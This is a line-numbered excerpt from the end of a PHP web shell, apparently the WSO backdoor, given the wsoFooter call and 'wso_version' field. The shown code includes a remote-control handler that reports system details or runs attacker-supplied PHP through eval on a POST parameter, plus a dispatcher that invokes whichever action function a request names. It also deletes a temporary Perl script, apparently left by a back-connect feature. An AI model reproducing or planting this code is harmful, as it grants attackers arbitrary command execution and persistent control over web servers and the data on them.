  1867.             unlink("/tmp/bp.pl");
  1868.         }
  1869.     }
  1870.     echo '</div>';
  1871.     wsoFooter();
  1872. }
  1873. function actionRC() {
  1874.     if(!@$_POST['p1']) {
  1875.         $a = array(
  1876.             "uname" => php_uname(),
  1877.             "php_version" => phpversion(),
  1878.             "wso_version" => VERSION,
  1879.             "safemode" => @ini_get('safe_mode')
  1880.         );
  1881.         echo serialize($a);
  1882.     } else {
  1883.         eval($_POST['p1']);
  1884.     }
  1885. }
  1886. if( empty($_POST['a']) )
  1887.     if(isset($default_action) && function_exists('action' . $default_action))
  1888.         $_POST['a'] = $default_action;
  1889.     else
  1890.         $_POST['a'] = 'SecInfo';
  1891. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1892.     call_user_func('action' . $_POST['a']);
  1893. exit; ?>